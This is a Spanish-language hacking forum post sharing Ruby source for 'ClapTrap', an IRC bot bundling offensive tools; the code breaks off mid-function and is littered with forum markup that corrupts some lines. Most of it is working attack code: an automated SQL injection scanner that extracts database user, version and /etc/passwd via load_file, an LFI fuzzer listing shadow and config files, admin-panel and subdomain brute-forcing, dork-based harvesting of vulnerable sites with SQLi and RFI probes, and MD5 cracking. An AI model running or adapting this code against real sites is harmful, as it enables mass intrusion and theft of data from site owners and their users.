[Ruby] ClapTrap IRC Bot 0.5

  • 0 Respuestas
  • 3891 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil

[Ruby] ClapTrap IRC Bot 0.5

  • en: Septiembre 25, 2015, 07:05:02 pm
Traduccion a Ruby de mi bot para IRC llamado ClapTrap.

Tiene las siguiente opciones :

  • Scanner SQLI[/li]
  • Scanner LFI[/li]
  • Buscador de panel de administracion[/li]
  • Localizador de IP[/li]
  • Buscador de DNS[/li]
  • Buscador de SQLI y RFI en google[/li]
  • Crack para hashes MD5[/li]
  • Cortador de URL usando tinyurl[/li]
  • HTTP FingerPrinting[/li]
  • Codificador base64,hex y ASCII  [/li][/list]

    El codigo :

    Código: Ruby
    1. #!usr/bin/ruby
    2. #Claptrap IRC Bot 0.5
    3. #(C) Doddy Hackman 2015
    4.  
    5. require "socket"
    6. require "open-uri"
    7. require "net/http"  
    8. require "resolv"
    9. require "base64"
    10. require "digest/md5"
    11.  
    12. $timeout = "1"
    13.  
    14. # Functions
    15.  
    16. def head()
    17.    print "\n\n
    18.  @@@@  @       @    @@@@@  @@@@@  @@@@@     @    @@@@@     @  @@@@@    @@@@
    19. @    @ @       @    @    @   @    @    @    @    @    @    @  @    @  @    @
    20. @      @      @ @   @    @   @    @    @   @ @   @    @    @  @    @  @    
    21. @      @      @ @   @    @   @    @    @   @ @   @    @    @  @    @  @    
    22. @      @     @   @  @@@@@    @    @@@@@   @   @  @@@@@     @  @@@@@   @    
    23. @      @     @   @  @        @    @    @  @   @  @         @  @    @  @    
    24. @      @     @@@@@  @        @    @    @  @@@@@  @         @  @    @  @    
    25. @    @ @    @     @ @        @    @    @ @     @ @         @  @    @  @    @
    26.  @@@@  @@@@@@     @ @        @    @    @ @     @ @         @  @    @   @@@@
    27.  \n\n"
    28. end
    29.  
    30. def copyright()
    31.    print "\n\n-- == (C) Doddy Hackman 2015 == --\n\n"
    32. end
    33.  
    34. #
    35.  
    36. # Functions ClapTrap
    37.  
    38. def get_ip(hostname)
    39.    begin
    40.       return Resolv.getaddress(hostname)
    41.    rescue
    42.       return "Error"
    43.    end
    44. end
    45.  
    46. def toma(web)
    47.    begin
    48.       return open(web, "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0").read
    49.    rescue
    50.       return "Error"
    51.    end
    52. end
    53.  
    54. def response_code(web)
    55.    begin
    56.       return Net::HTTP.get_response(URI(web)) .code
    57.    rescue
    58.       return "404"
    59.    end
    60. end
    61.  
    62. def tomar(web,arg)
    63.    begin
    64.       headers = {"User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"}
    65.       uri = URI(web)
    66.       http = Net::HTTP.new(uri.host, uri.port)
    67.       return http.post(uri.path,arg, headers).body
    68.    rescue
    69.       return "Error"
    70.    end
    71. end
    72.  
    73. def toma_ssl(web)
    74.    uri = URI.parse(web)
    75.    nave = Net::HTTP.new(uri.host, uri.port)
    76.    nave.use_ssl = true
    77.    nave.verify_mode = OpenSSL::SSL::VERIFY_NONE
    78.    return nave.get(uri.request_uri,{"User-Agent"=> "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/20.0"}).body
    79. end
    80.  
    81. def cortar(pages)
    82.    final = ""
    83.    finales = []
    84.    pages.flatten.each do |page|
    85.       if page=~/(.*)=(.*)/
    86.          parte1 = $1
    87.          parte2 = $2
    88.          final = parte1 + "="
    89.          finales.push(final)
    90.       end
    91.    end
    92.    return finales
    93. end
    94.  
    95.  
    96. def google(dork,pages)
    97.  
    98.    links = []
    99.    dork = dork.sub(/ /,"+")
    100.    contador = 0
    101.    for i in ("1"..pages)
    102.       contador+=10
    103.       code = toma_ssl("https://www.google.com.ar/search?hl=&q=" + dork+ "&start="+contador.to_s)
    104.       paginas = code.scan(/(?<="r"><. href=")(.+?)"/)
    105.       paginas.flatten.each do |pagina|
    106.          partes = pagina
    107.          if partes=~/url\?q=(.*)&amp;sa/
    108.             parte = $1
    109.             link = URI::decode(parte)
    110.             links.push(link)
    111.          end
    112.       end
    113.       end
    114.       links = links.uniq
    115.    return links
    116. end
    117.  
    118. def google_recursive(dork,pages)
    119.    dork = dork.sub(/ /,"+")
    120.    contador = 0
    121.    guardo = []
    122.    for i in ("1"..pages)
    123.       contador+=10
    124.       url = "https://www.google.com.ar/search?hl=&q="+dork+"&start="+contador.to_s
    125.       code = toma_ssl(url)
    126.       links = URI::extract(code)
    127.       links.each do |link|
    128.          if link=~/cache:(.*?)<img src="https://underc0de.org/foro/Smileys/default/sad.gif" alt="&#58;&#40;" title="Triste" class="smiley" />.*?)\+/
    129.             link_final = "http://"+$2
    130.             link_final = URI::decode(link_final)
    131.             guardo.push(link_final)
    132.          end
    133.       end
    134.    end
    135.    guardo = guardo.uniq
    136.    return guardo
    137. end
    138.  
    139. def bing(dork,pages)
    140.  
    141.    guardo = []
    142.    dork = dork.sub(/ /,"+")
    143.    contador = 0
    144.    for i in ("1"..pages)
    145.       contador+=10
    146.  
    147.       code = toma("http://www.bing.com/search?q=" + dork + "&first=" + contador.to_s)
    148.  
    149.       links = code.scan(/<h2><a href="(.*?)" h/)
    150.  
    151.       links.flatten.each do |link|
    152.          link_final = URI::decode(link)
    153.          if not link_final=~/http:\/\/778802\.r\.msn\.com\//
    154.             guardo.push(link_final)
    155.          end
    156.       end
    157.  
    158.       links = code.scan(/<h3><a href="(.*?)" h/)
    159.  
    160.       links.flatten.each do |link|
    161.          link_final = URI::decode(link)
    162.          if not link_final=~/http:\/\/778802\.r\.msn\.com\//
    163.             guardo.push(link_final)
    164.          end
    165.       end
    166.    end
    167.    guardo = guardo.uniq
    168.    return guardo
    169. end
    170.  
    171. def bypass(op)
    172.   if op=="--"
    173.     return "+","--"
    174.   elsif op=="/*"
    175.    return "/**/","/**/"
    176.   elsif op=="%20"
    177.    return "%20","%00"
    178.   else
    179.    return "+","--"    
    180.   end
    181. end
    182.  
    183. def decode_hex(text)
    184.   text = text.sub("0x","")
    185.   return [text].pack('H*')
    186. end
    187.  
    188. def encode_hex(text)
    189.   return "0x"+text.unpack('H*')[0]
    190. end
    191.  
    192. def httpfinger(page)
    193.    respuesta = ""
    194.    begin
    195.       nave = Net::HTTP.start(page)
    196.       headers = nave.head("/")
    197.       headers.each do |name,value|
    198.          respuesta = respuesta + "</li><li type="square"> "+name+" : "+value+"\n"[/li][/list]
    199.       end
    200.       nave.finish
    201.    rescue
    202.       respuesta = "Error"
    203.    end
    204.    return respuesta
    205. end
    206.  
    207. ##
    208.  
    209. def locateip(target)
    210.  
    211.    resultado = ""
    212.  
    213.    resultado = resultado + "\n</li><li type="square"> Getting IP ...\n"[/li][/list]
    214.  
    215.    ip = get_ip(target)
    216.  
    217.    resultado = resultado + "\n</li><li type="square"> IP : "+ip+"\n"[/li][/list]
    218.  
    219.    web = "http://www.melissadata.com/lookups/iplocation.asp"
    220.    resultado = resultado + "\n</li><li type="square"> Locating ...\n\n"[/li][/list]
    221.  
    222.    code = tomar(web,"ipaddress="+ip+"&btn=Submit")
    223.  
    224.    if code=~/City<\/td><td align=(.*)><b>(.*)<\/b><\/td>/
    225.       resultado = resultado + "</li><li type="square"> City : "+$2+"\n"[/li][/list]
    226.    else
    227.       resultado = resultado + "</li><li type="square"> City : Not Found\n"[/li][/list]
    228.    end
    229.  
    230.    if code=~/Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>/
    231.       resultado = resultado + "</li><li type="square"> Country : "+$2+"\n"[/li][/list]
    232.    else
    233.       resultado = resultado + "</li><li type="square"> Country : Not Found\n"[/li][/list]
    234.    end
    235.  
    236.    if code=~/State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>/
    237.       resultado = resultado + "</li><li type="square"> State or Region : "+$2+"\n";[/li][/list]
    238.    else
    239.       resultado = resultado + "</li><li type="square"> State of Region : Not Found\n"[/li][/list]
    240.    end
    241.  
    242.    resultado = resultado + "\n</li><li type="square"> Getting DNS ...\n\n"[/li][/list]
    243.  
    244.    control = "0"
    245.  
    246.    code = toma("http://www.ip-adress.com/reverse_ip/"+ip)
    247.  
    248.    dnss = code.scan(/whois\/(.*?)\">Whois/)
    249.  
    250.   dnss.flatten.each do |dns|
    251.      begin
    252.         if dns != ""
    253.            control = "1"
    254.            resultado = resultado + "</li><li type="square"> DNS Found : "+dns[/li][/list]
    255.         end
    256.      end
    257.   end
    258.  
    259.   if control=="0"
    260.      resultado = resultado + "\n[-] DNS Not Found\n"
    261.   end
    262.   return resultado
    263. end
    264.  
    265. def details(url,by)
    266.  pass1,pass2 = bypass(by)
    267.  resultado = ""
    268.  hextest = "0x2f6574632f706173737764" #/etc/passwd
    269.  hextest = "0x633A2F78616D70702F726561642E747874" #c:/xampp/read.txt
    270.  web1 = url.sub(/hackman/,"0x4b30425241")
    271.  web2 = url.sub(/hackman/,"concat(0x4b30425241,user(),0x4b30425241,database(),0x4b30425241,version(),0x4b30425241)")
    272.  web3 = url.sub(/hackman/,"unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file("+hextest+"))))")
    273.   resultado = resultado + "\n</li><li type="square"> Extracting information of the DB\n"[/li][/list]
    274.  code1 = toma(web2)
    275.  if code1=~/K0BRA(.*)K0BRA(.*)K0BRA(.*)K0BRA/
    276.    user,data,ver = $1,$2,$3
    277.    resultado = resultado + "\n</li><li type="square"> Username : "+user[/li][/list]
    278.    resultado = resultado + "\n</li><li type="square"> Database : "+data[/li][/list]
    279.    resultado = resultado + "\n</li><li type="square"> Version : "+ver+"\n\n"[/li][/list]
    280.  else
    281.    resultado = resultado + "[-] Not Found\n"
    282.  end
    283.   code2 = toma(web1+pass1+"from"+pass1+"mysql.user"+pass2)
    284.   code3 = toma(web1+pass1+"from"+pass1+"information_schema.tables"+pass2)
    285.   code4 = toma(web3)
    286.   if code2=~/K0BRA/
    287.     resultado = resultado + "</li><li type="square"> Mysql User : ON\n"[/li][/list]
    288.   end
    289.   if code3=~/K0BRA/
    290.     resultado = resultado + "</li><li type="square"> information_schema : ON\n"[/li][/list]
    291.   end
    292.   if code4=~/ERTOR854/
    293.     resultado = resultado + "</li><li type="square"> load_file : ON\n"[/li][/list]
    294.   end  
    295.   return resultado
    296. end
    297.  
    298. def findlength(url,by)
    299.  pass1,pass2 = bypass(by)
    300.  z = "1"
    301.  control = "0"
    302.  resultado = ""
    303.  resultado = resultado + "\n</li><li type="square"> Finding columns lenght ...\n\n"[/li][/list]
    304.  x = "concat(0x4b30425241,1,0x4b30425241)"
    305.  for num in ('2'..'25')
    306.    z = z+","+num
    307.    x= x+","+"concat(0x4b30425241,"+num+",0x4b30425241)"
    308.    code = toma(url+"1"+pass1+"and"+pass1+"1=0"+pass1+"union"+pass1+"select"+pass1+x)
    309.    if code=~/K0BRA(.*?)K0BRA/
    310.      resultado = resultado + "</li><li type="square"> The Page has "+num+" columns\n"[/li][/list]
    311.      resultado = resultado + "</li><li type="square"> The number "+$1+" print data\n"[/li][/list]
    312.      z = z.sub($1,"hackman")
    313.      sqli = url+"1"+pass1+"and"+pass1+"1=0"+pass1+"union"+pass1+"select"+pass1+z
    314.      control = "1"
    315.      break
    316.    end
    317.  end
    318.  if control != "1"
    319.    resultado = resultado + "[-] Columns lenght not found\n"
    320.  end
    321.  return resultado,sqli,control
    322. end
    323.  
    324. def scanner_sqli(page,by)
    325.  pass1,pass2 = bypass(by)
    326.  resultado = ""
    327.  rta1 = ""
    328.  rta2 = ""
    329.  resultado =  resultado + "</li><li type="square"> Testing vulnerability ...\n\n"[/li][/list]
    330.  codeuno = toma(page+"1"+pass1+"and"+pass1+"1=0"+pass2)
    331.  codedos = toma(page+"1"+pass1+"and"+pass1+"1=1"+pass2)
    332.  if codeuno != codedos
    333.    resultado = resultado + "</li><li type="square"> Vulnerable !\n"[/li][/list]
    334.    rta1,sqli,control = findlength(page,by)
    335.    if control=="1"
    336.     rta2 = details(sqli,"--")
    337.    end
    338.  else
    339.    resultado = resultado + "[-] Not Vulnerable\n"
    340.  end
    341.  resultado = resultado + rta1 + rta2
    342.  return resultado
    343. end
    344.  
    345. def scanner_lfi(web)
    346.   resultado = ""
    347.   files = ['c:/xampp/here.php','../../../boot.ini','../../../../boot.ini','../../../../../boot.ini','../../../../../../boot.ini','/etc/passwd','/etc/shadow','/etc/shadow~','/etc/hosts','/etc/motd','/etc/apache/apache.conf','/etc/fstab','/etc/apache2/apache2.conf','/etc/apache/httpd.conf','/etc/httpd/conf/httpd.conf','/etc/apache2/httpd.conf','/etc/apache2/sites-available/default','/etc/mysql/my.cnf','/etc/my.cnf','/etc/sysconfig/network-scripts/ifcfg-eth0','/etc/redhat-release','/etc/httpd/conf.d/php.conf','/etc/pam.d/proftpd','/etc/phpmyadmin/config.inc.php','/var/www/config.php','/etc/httpd/logs/error_log','/etc/httpd/logs/error.log','/etc/httpd/logs/access_log','/etc/httpd/logs/access.log','/var/log/apache/error_log','/var/log/apache/error.log','/var/log/apache/access_log','/var/log/apache/access.log','/var/log/apache2/error_log','/var/log/apache2/error.log','/var/log/apache2/access_log','/var/log/apache2/access.log','/var/www/logs/error_log','/var/www/logs/error.log','/var/www/logs/access_log','/var/www/logs/access.log','/usr/local/apache/logs/error_log','/usr/local/apache/logs/error.log','/usr/local/apache/logs/access_log','/usr/local/apache/logs/access.log','/var/log/error_log','/var/log/error.log','/var/log/access_log','/var/log/access.log','/etc/group','/etc/security/group','/etc/security/passwd','/etc/security/user','/etc/security/environ','/etc/security/limits','/usr/lib/security/mkuser.default','/apache/logs/access.log','/apache/logs/error.log','/etc/httpd/logs/acces_log','/etc/httpd/logs/acces.log','/var/log/httpd/access_log','/var/log/httpd/error_log','/apache2/logs/error.log','/apache2/logs/access.log','/logs/error.log','/logs/access.log','/usr/local/apache2/logs/access_log','/usr/local/apache2/logs/access.log','/usr/local/apache2/logs/error_log','/usr/local/apache2/logs/error.log','/var/log/httpd/access.log','/var/log/httpd/error.log','/opt/lampp/logs/access_log','/opt/lampp/logs/error_log','/opt/xampp/logs/access_log','/opt/xampp/logs/error_log','/opt/lampp/logs/access.log','/opt/lampp/logs/error.log','/opt/xampp/logs/access.log','/opt/xampp/logs/error.log','C:\ProgramFiles\ApacheGroup\Apache\logs\access.log','C:\ProgramFiles\ApacheGroup\Apache\logs\error.log','/usr/local/apache/conf/httpd.conf','/usr/local/apache2/conf/httpd.conf','/etc/apache/conf/httpd.conf','/usr/local/etc/apache/conf/httpd.conf','/usr/local/apache/httpd.conf','/usr/local/apache2/httpd.conf','/usr/local/httpd/conf/httpd.conf','/usr/local/etc/apache2/conf/httpd.conf','/usr/local/etc/httpd/conf/httpd.conf','/usr/apache2/conf/httpd.conf','/usr/apache/conf/httpd.conf','/usr/local/apps/apache2/conf/httpd.conf','/usr/local/apps/apache/conf/httpd.conf','/etc/apache2/conf/httpd.conf','/etc/http/conf/httpd.conf','/etc/httpd/httpd.conf','/etc/http/httpd.conf','/etc/httpd.conf','/opt/apache/conf/httpd.conf','/opt/apache2/conf/httpd.conf','/var/www/conf/httpd.conf','/private/etc/httpd/httpd.conf','/private/etc/httpd/httpd.conf.default','/Volumes/webBackup/opt/apache2/conf/httpd.conf','/Volumes/webBackup/private/etc/httpd/httpd.conf','/Volumes/webBackup/private/etc']
    348.   resultado = resultado + "</li><li type="square"> Testing the vulnerability LFI...\n\n"[/li][/list]
    349.   code = toma(web+"'")
    350.   if code=~/No such file or directory in <b>(.*)<\/b> on line/
    351.      fpd = $1
    352.      resultado = resultado + "</li><li type="square"> LFI Detected\n\n"[/li][/list]
    353.      resultado = resultado + "[Full Path Discloure]: "+fpd+"\n"
    354.      resultado = resultado + "\n</li><li type="square"> Fuzzing Files\n\n"[/li][/list]
    355.      files.each do |file|
    356.         code = toma(web+file)
    357.         if not code=~/No such file or directory in/
    358.            resultado= resultado + "[Link] : "+web+file+"\n"
    359.         end
    360.      end
    361.      resultado = resultado + "\n</li><li type="square"> Done\n"[/li][/list]
    362.   else
    363.      resultado = resultado + "[-] Not Vulnerable to LFI\n\n"
    364.   end
    365.   return resultado
    366. end
    367.  
    368. def scanner_panel(page)
    369.   resultado = ""
    370.   panels = ['admin/admin.asp','admin/login.asp','admin/index.asp','admin/admin.aspx','admin/login.aspx','admin/index.aspx','admin/webmaster.asp','admin/webmaster.aspx','asp/admin/index.asp','asp/admin/index.aspx','asp/admin/admin.asp','asp/admin/admin.aspx','asp/admin/webmaster.asp','asp/admin/webmaster.aspx','admin/','login.asp','login.aspx','admin.asp','admin.aspx','webmaster.aspx','webmaster.asp','login/index.asp','login/index.aspx','login/login.asp','login/login.aspx','login/admin.asp','login/admin.aspx','administracion/index.asp','administracion/index.aspx','administracion/login.asp','administracion/login.aspx','administracion/webmaster.asp','administracion/webmaster.aspx','administracion/admin.asp','administracion/admin.aspx','php/admin/','admin/admin.php','admin/index.php','admin/login.php','admin/system.php','admin/ingresar.php','admin/administrador.php','admin/default.php','administracion/','administracion/index.php','administracion/login.php','administracion/ingresar.php','administracion/admin.php','administration/','administration/index.php','administration/login.php','administrator/index.php','administrator/login.php','administrator/system.php','system/','system/login.php','admin.php','login.php','administrador.php','administration.php','administrator.php','admin1.html','admin1.php','admin2.php','admin2.html','yonetim.php','yonetim.html','yonetici.php','yonetici.html','adm/','admin/account.php','admin/account.html','admin/index.html','admin/login.html','admin/home.php','admin/controlpanel.html','admin/controlpanel.php','admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html','administrator/','administrator/index.html','administrator/login.html','administrator/account.html','administrator/account.php','administrator.html','login.html','modelsearch/login.php','moderator.php','moderator.html','moderator/login.php','moderator/login.html','moderator/admin.php','moderator/admin.html','moderator/','account.php','account.html','controlpanel/','controlpanel.php','controlpanel.html','admincontrol.php','admincontrol.html','adminpanel.php','adminpanel.html','admin1.asp','admin2.asp','yonetim.asp','yonetici.asp','admin/account.asp','admin/home.asp','admin/controlpanel.asp','admin/cp.asp','cp.asp','administrator/index.asp','administrator/login.asp','administrator/account.asp','administrator.asp','modelsearch/login.asp','moderator.asp','moderator/login.asp','moderator/admin.asp','account.asp','controlpanel.asp','admincontrol.asp','adminpanel.asp','fileadmin/','fileadmin.php','fileadmin.asp','fileadmin.html','administration.html','sysadmin.php','sysadmin.html','phpmyadmin/','myadmin/','sysadmin.asp','sysadmin/','ur-admin.asp','ur-admin.php','ur-admin.html','ur-admin/','Server.php','Server.html','Server.asp','Server/','wp-admin/','administr8.php','administr8.html','administr8/','administr8.asp','webadmin/','webadmin.php','webadmin.asp','webadmin.html','administratie/','admins/','admins.php','admins.asp','admins.html','administrivia/','Database_Administration/','WebAdmin/','useradmin/','sysadmins/','admin1/','system-administration/','administrators/','pgadmin/','directadmin/','staradmin/','ServerAdministrator/','SysAdmin/','administer/','LiveUser_Admin/','sys-admin/','typo3/','panel/','cpanel/','cPanel/','cpanel_file/','platz_login/','rcLogin/','blogindex/','formslogin/','autologin/','support_login/','meta_login/','manuallogin/','simpleLogin/','loginflat/','utility_login/','showlogin/','memlogin/','members/','login-redirect/','sub-login/','wp-login/','login1/','dir-login/','login_db/','xlogin/','smblogin/','customer_login/','UserLogin/','login-us/','acct_login/','admin_area/','bigadmin/','project-admins/','phppgadmin/','pureadmin/','sql-admin/','radmind/','openvpnadmin/','wizmysqladmin/','vadmind/','ezsqliteadmin/','hpwebjetadmin/','newsadmin/','adminpro/','Lotus_Domino_Admin/','bbadmin/','vmailadmin/','Indy_admin/','ccp14admin/','irc-macadmin/','banneradmin/','sshadmin/','phpldapadmin/','macadmin/','administratoraccounts/','admin4_account/','admin4_colon/','radmind-1/','Super-Admin/','AdminTools/','cmsadmin/','SysAdmin2/','globes_admin/','cadmins/','phpSQLiteAdmin/','navSiteAdmin/','server_admin_small/','logo_sysadmin/','server/','database_administration/','power_user/','system_administration/','ss_vms_admin_sm/']
    371.   resultado = resultado + "</li><li type="square"> Scanning ...\n\n"[/li][/list]
    372.   control = "0"
    373.   panels.each do |panel|
    374.      begin
    375.         url = page+"/"+panel
    376.         status_code = response_code(url)
    377.         if status_code=="200"
    378.            resultado = resultado + "</li><li type="square"> Link : "+url+"\n"[/li][/list]
    379.            control = "1"
    380.         end
    381.      end
    382.   end
    383.   if control=="1"
    384.      resultado = resultado + "\n</li><li type="square"> Done\n"[/li][/list]
    385.   else
    386.      resultado = resultado + "\n[-] Not Found\n"
    387.   end
    388.   return resultado
    389. end
    390.  
    391. def get_httpfinger(page)
    392.   resultado = ""
    393.        resultado = resultado + "</li><li type="square"> Searching ...\n\n"[/li][/list]
    394.   resultado = resultado + httpfinger(page)
    395.   return resultado
    396. end
    397.  
    398. def crack_md5(md5)
    399.   resultado = ""
    400.   resultado = resultado + "</li><li type="square"> Cracking ...\n\n"[/li][/list]
    401.  
    402.   code = tomar("http://md5online.net/index.php","pass="+md5+"&option=hash2text&send=Submit")
    403.  
    404.   if code=~/pass : <b>(.*?)<\/b>/
    405.      password = $1
    406.      resultado = resultado + "</li><li type="square"> md5online.net -> "+password+"\n" [/li][/list]
    407.   else
    408.      resultado = resultado + "[-] md5online.net -> Not Found" + "\n"
    409.   end
    410.  
    411.   code = tomar("http://md5.my-addr.com/md5_decrypt-md5_cracker_online/md5_decoder_tool.php","md5="+md5)
    412.  
    413.   if code=~/<span class='middle_title'>Hashed string<\/span>: (.*?)<\/div>/
    414.      password = $1
    415.      resultado = resultado + "</li><li type="square"> md5.my-addr.co -> "+password+"\n"[/li][/list]
    416.   else
    417.      resultado = resultado + "[-] md5.my-addr.co -> Not Found" +"\n"
    418.   end
    419.  
    420.   code = tomar("http://md5decryption.com/index.php","hash="+md5+"&submit=Decrypt It!")
    421.  
    422.   if code=~/Decrypted Text: <\/b>(.*?)<\/font>/
    423.      password = $1
    424.      resultado = resultado + "</li><li type="square"> md5decryption.com -> "+password+"\n"[/li][/list]
    425.   else
    426.      resultado = resultado +  "[-] md5decryption.com -> Not Found"+"\n"
    427.   end
    428.  
    429.   return resultado
    430.  
    431. end
    432.  
    433. def tiny_url(page)
    434.   resultado = ""
    435.   code = toma("http://tinyurl.com/api-create.php?url="+page)
    436.   if code=~/http/
    437.      resultado = resultado + "</li><li type="square"> Link : "+code[/li][/list]
    438.   else
    439.      resultado = resultado + "[-] Error"
    440.   end
    441.   return resultado
    442. end
    443.  
    444. def codificar_hex(text)
    445.   return "</li><li type="square"> Result : "+encode_hex(text)[/li][/list]
    446. end
    447.  
    448. def decodificar_hex(text)
    449.   return "</li><li type="square"> Result : "+decode_hex(text)[/li][/list]
    450. end
    451.  
    452. def codificar_base64(text)
    453.   return "</li><li type="square"> Result : "+Base64.encode64(text).chomp[/li][/list]
    454. end
    455.  
    456. def decodificar_base64(text)
    457.   return "</li><li type="square"> Result : "+Base64.decode64(text).chomp[/li][/list]
    458. end
    459.  
    460. def codificar_ascii(text)
    461.   resultado = ""
    462.   resultado = resultado + "</li><li type="square"> Result : "+text.split("").map(&:ord).to_s[/li][/list]
    463.   return resultado
    464. end
    465.  
    466. def md5_encode(text)
    467.   return "</li><li type="square"> Result : "+Digest::MD5.hexdigest(text).chomp[/li][/list]
    468. end
    469.  
    470.  
    471. def scanner_dns(domain)
    472.  paths = ["www","www1","www2","www3","ftp","ns","mail","3com","aix","apache","back","bind","boreder","bsd","business","chains","cisco","content","corporate","cpv","dns","domino","dominoserver","download","e-mail","e-safe","email","esafe","external","extranet","firebox","firewall","front","fw","fw0","fwe","fw-1","firew","gate","gatekeeper","gateway","gauntlet","group","help","hop","hp","hpjet","hpux","http","https","hub","ibm","ids","info","inside","internal","internet","intranet","ipfw","irix","jet","list","lotus","lotusdomino","lotusnotes","lotusserver","mailfeed","mailgate","mailgateway","mailgroup","mailhost","maillist","mailpop","mailrelay","mimesweeper","ms","msproxy","mx","nameserver","news","newsdesk","newsfeed","newsgroup","newsroom","newsserver","nntp","notes","noteserver","notesserver","nt","outside","pix","pop","pop3","pophost","popmail","popserver","print","printer","private","proxy","proxyserver","public","qpop","raptor","read","redcreek","redhat","route","router","scanner","screen","screening","ecure","seek","smail","smap","smtp","smtpgateway","smtpgw","solaris","sonic","spool","squid","sun","sunos","suse","switch","transfer","trend","trendmicro","vlan","vpn","wall","web","webmail","webserver","webswitch","win2000","win2k","upload","file","fileserver","storage","backup","share","core","gw","wingate","main","noc","home","radius","security","access","dmz","domain","sql","mysql","mssql","postgres","db","database","imail","imap","exchange","sendmail","louts","test","logs","stage","staging","dev","devel","ppp","chat","irc","eng","admin","unix","linux","windows","apple","hp-ux","bigip","pc"]
    473.  resultado = ""
    474.  resultado = resultado + "</li><li type="square"> Searching DNS ...\n\n"[/li][/list]
    475.  control = "0"
    476.  paths.each do |path|
    477.      begin
    478.         url = "http://"+path+"."+domain
    479.  
    480.         status_code = response_code(url)
    481.         if status_code=="200"
    482.            resultado = resultado + "</li><li type="square"> Link : "+url+"\n"[/li][/list]
    483.            control = "1"
    484.         end
    485.      end
    486.  end
    487.  
    488.  if control=="1"
    489.   resultado = resultado + "\n</li><li type="square"> Done\n"[/li][/list]
    490.  else
    491.   resultado = resultado + "\n[-] Not Found\n"
    492.  end
    493.  
    494.  return resultado
    495.  
    496. end
    497.  
    498. def sqli_finder(dork,pages,opcion)
    499.  
    500.   resultado = ""
    501.  
    502.   if opcion=="bing"
    503.      
    504.      resultado = resultado + "</li><li type="square"> Searching in Bing ...\n\n"[/li][/list]
    505.      
    506.      links = cortar(bing(dork,pages))
    507.  
    508.      resultado = resultado + "</li><li type="square"> Pages Count : "+links.count.to_s+"\n\n"[/li][/list]
    509.  
    510.      if links.count.to_s=="0"
    511.         resultado = resultado + "[-] Links not found\n"
    512.      end
    513.  
    514.      links.flatten.each do |link|
    515.         resultado = resultado + "</li><li type="square"> Link : "+link[/li][/list]
    516.         begin
    517.            url = toma(link + "-1+union+select+1--")
    518.            if url=~/The used SELECT statements have a different number of columns/
    519.               resultado = resultado + " [OK]\n"
    520.            else
    521.               resultado = resultado + " [FAIL]\n"
    522.            end
    523.         rescue
    524.            resultado = resultado + " [FAIL]\n"
    525.         end
    526.      end
    527.  
    528.      resultado = resultado + "\n</li><li type="square"> Finished\n"[/li][/list]
    529.  
    530.   elsif opcion=="google"
    531.      
    532.      resultado = resultado + "</li><li type="square"> Searching in Google ...\n\n"[/li][/list]
    533.      
    534.      links = cortar(google(dork,pages))
    535.  
    536.      if links.count.to_s=="0"
    537.         resultado = resultado + "</li><li type="square"> Searching in Google again ...\n\n"[/li][/list]
    538.         links = cortar(google_recursive(dork,pages))
    539.      end
    540.  
    541.      resultado = resultado + "</li><li type="square"> Pages Count : "+links.count.to_s+"\n\n"[/li][/list]
    542.  
    543.      if links.count.to_s=="0"
    544.         resultado = resultado + "[-] Links not found"
    545.      end
    546.  
    547.      links.flatten.each do |link|
    548.         resultado = resultado + "</li><li type="square"> Link : "+link[/li][/list]
    549.         begin
    550.            url = toma(link + "-1+union+select+1--")
    551.            if url=~/The used SELECT statements have a different number of columns/
    552.               resultado = resultado + " [OK]\n"
    553.            else
    554.               resultado = resultado + " [FAIL]\n"
    555.            end
    556.         rescue
    557.            resultado = resultado + " [FAIL]\n"
    558.         end
    559.      end
    560.   else
    561.    resultado = "[-] Bad Option"
    562.    end
    563.   return resultado
    564. end
    565.  
    566. def rfi_finder(dork,pages,opcion)
    567.  
    568.   resultado = ""
    569.  
    570.   if opcion=="bing"
    571.      
    572.      resultado = resultado + "</li><li type="square"> Searching in Bing ...\n\n"[/li][/list]
    573.      
    574.      links = cortar(bing(dork,pages))
    575.  
    576.      resultado = resultado + "</li><li type="square"> Pages Count : "+links.count.to_s+"\n\n"[/li][/list]
    577.  
    578.      if links.count.to_s=="0"
    579.         resultado = resultado + "[-] Links not found\n"
    580.      end
    581.  
    582.      links.flatten.each do |link|
    583.         resultado = resultado + "</li><li type="square"> Link : "+link[/li][/list]
    584.         begin
    585.            url = toma(link + "http://www.supertangas.com/")
    586.            if url=~/Los mejores TANGAS de la red/i
    587.               resultado = resultado + " [OK]\n"
    588.            else
    589.               resultado = resultado + " [FAIL]\n"
    590.            end
    591.         rescue
    592.            resultado = resultado + " [FAIL]\n"
    593.         end
    594.      end
    595.  
    596.      resultado = resultado + "\n</li><li type="square"> Finished\n"[/li][/list]
    597.  
    598.   elsif opcion=="google"
    599.      
    600.      resultado = resultado + "</li><li type="square"> Searching in Google ...\n\n"[/li][/list]
    601.      
    602.      links = cortar(google(dork,pages))
    603.  
    604.      if links.count.to_s=="0"
    605.         resultado = resultado + "</li><li type="square"> Searching in Google again ...\n\n"[/li][/list]
    606.         links = cortar(google_recursive(dork,pages))
    607.      end
    608.  
    609.      resultado = resultado + "</li><li type="square"> Pages Count : "+links.count.to_s+"\n\n"[/li][/list]
    610.  
    611.      if links.count.to_s=="0"
    612.         resultado = resultado + "[-] Links not found"
    613.      end
    614.  
    615.      links.flatten.each do |link|
    616.         resultado = resultado + "</li><li type="square"> Link : "+link[/li][/list]
    617.         begin
    618.            url = toma(link + "http://www.supertangas.com/")
    619.            if url=~/Los mejores TANGAS de la red/i
    620.               resultado = resultado + " [OK]\n"
    621.            else
    622.               resultado = resultado + " [FAIL]\n"
    623.            end
    624.         rescue
    625.            resultado = resultado + " [FAIL]\n"
    626.         end
    627.      end
    628.   else
    629.    resultado = "[-] Bad Option"
    630.    end
    631.   return resultado
    632. end
    633.  
    634. #
    635.  
    636. def respuesta(to,texto)
    637. resultado = texto.split("\n")
    638. resultado.flatten.each do |linea|
    639.   if linea != ""
    640.       $irc.print "PRIVMSG #{to} #{linea}\n"
